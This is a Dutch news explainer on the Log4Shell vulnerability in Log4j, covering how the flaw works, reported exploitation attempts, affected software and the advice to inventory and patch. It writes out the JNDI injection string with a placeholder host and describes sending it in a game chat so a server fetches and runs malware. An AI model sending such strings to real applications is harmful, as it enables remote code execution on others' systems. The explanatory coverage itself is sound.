Een ernstige kwetsbaarheid in een veelgebruikte open-source library voor Java zet het wereldwijde IT-landschap op scherp. De kans dat jouw omgeving wordt beïnvloed was zelden zo groot. Oplossen begint bij begrijpen, dus zetten we het probleem van Log4Shell uiteen.
Op 9 december trok het cloud-securityteam van Alibaba aan de alarmbel. Het team vond een ernstige kwetsbaarheid in Log4j. Ontwikkelaars gebruiken de open-source library voor Java om gebeurtenissen in Java-applicaties te registreren, ook wel bekend als loggen. De kwetsbaarheid staat inmiddels bekend als Log4Shell. Kwaadwillenden hebben een zorgwekkend eenvoudige methode om code in uiteenlopende Java-applicaties uit te voeren. Experts vragen zich niet af wie er geraakt wordt, maar wie er niet geraakt wordt.
Hoe werkt Log4j?
Log4j is in een gigantische hoeveelheid platformen, apps en diensten verwerkt. Software van Cisco, IBM, VMware, Fortinet en Red Hat zijn enkele voorbeelden. De precieze toepassing van de library verschilt, maar de registratie van gebeurtenissen in applicaties speelt altijd een rol. Denk aan het noteren van inlogpogingen of de identiteit van de gebruiker van een applicatie.
De applicatie verwerkt een gebeurtenis; Log4j draait data uit. De programmeur van de applicatie bepaalt welke data. Dat kan zoals eerdergenoemd de gebruikersnaam van een gepoogde inlog zijn. Of de tijd waarop een gebruiker inlogt.
De kwetsbaarheid waarop Alibaba’s securityteam stuitte komt voort uit een wisselwerking tussen programmeertaal Java en library Log4j. Java is in combinatie met Log4j in staat om code in een server op afstand uit te voeren. Daarvoor geven programmeurs de volgende regel mee: ${jndi:ldap://voorbeeld.com/vaneenurl}. De daadwerkelijke url is vervangbaar met het adres van een server naar keuze. Voer je de regel in een Java-applicatie uit, dan probeert de applicatie de data van de gespecificeerde url uit te voeren.
Dit is geen kwetsbaarheid op zich, want in een wenselijk praktijkscenario’s heeft alleen een gemachtigde administrator de mogelijkheid om de regel in een applicatie toe te voegen. Het probleem begint bij Log4j. Draait Log4j de regel uit, dan interpreteert Java precies dezelfde opdracht als een regel die doelgericht door een ontwikkelaar in de applicatie is geplaatst.
Stel dat Log4j is ingesteld om de inhoud van een chatbericht op een online spel te loggen. Een gebruiker van het spel verstuurt de bovengenoemde regel in een chatbericht. De url verwijst naar een server met instructies voor de uitvoering van een malware-applicatie. Log4j draait de regel uit. Java interpreteert een opdracht – en volgt de opdracht netjes op. De gebruiker slaagt in het hacken van de server, zonder ook maar een enkel wachtwoord te hoeven bemachtigen.
Wat is de schade van Log4j?
Op dit moment lijkt niemand precies te weten hoeveel schade de kwetsbaarheid heeft aangericht en nog kan aanrichten. Hij is jarenlang onopgemerkt aan gebruikers van Log4j voorbijgegaan. Het is onmogelijk om in dit stadium te bepalen of en welke hacks er sinds 2013 (jaar van de eerste kwetsbare release) door de kwetsbaarheid tot stand kwamen. Wel weten we dat cybercriminelen sinds de bekendmaking van de kwetsbaarheid massaal en gericht naar doelwitten zoeken.
Meerdere securityorganisaties, waaronder Check Point Software, onderstrepen het laatste. De organisatie zegt in drie dagen tijd 400.000 pogingen tot misbruik waargenomen te hebben. Verder stelt zijn onderzoeksafdeling dat cybercriminelen een poging waagden bij 31,5 procent van alle wereldwijde bedrijfsnetwerken.
Wie loopt risico?
De bovengenoemde dreiging geldt voor elke andere Java-applicatie die de input van een gebruiker via Log4j logt. Dat zijn er nogal wat. Apple iCloud is een prominent voorbeeld. Log4j bleek ergens in Apple iClouds software namen van iPhones te loggen, waardoor een naamswijziging van een iPhone voldoende was om de servers van iCloud te infiltreren.
Ook een gigantische hoeveelheid hostingdiensten loggen de namen van browsers om te bepalen welke browser een verbonden gebruiker gebruikt. De populariteit van Log4j is onmogelijk te meten, maar naar schatting komt de library in de software van de meeste zakelijke omgevingen voor.
Wat nu?
Elke Log4j-versie die tussen 13 september 2013 en 5 december 2021 werd gepubliceerd is kwetsbaar. De Apache Software Foundation, waar Log4j onder valt, publiceerde een spoedpatch om de kwetsbaarheid te verhelpen.
Het gemak waarmee de kwetsbaarheid te misbruiken is werkt twee kanten op. Op een technisch niveau verloopt de oplossing simpel. Een patch van de library volstaat. Het grootste probleem is praktisch van aard. Log4j wordt dusdanig vaak wordt gebruikt dat organisaties zelden precies weten waar de library van toepassing is. De meeste cybersecurityautoriteiten adviseren om te beginnen bij het inventariseren van de toepassingen waarvoor Log4j in de ICT-omgevingen wordt gebruikt. Vervolgens is een update van de applicatie met de officiële patch het raadzame devies. Voorziet de leverancier van de applicatie nog niet in een geüpdatete versie, dan is uitschakelen de veiligste weg.
30 minuten geleden
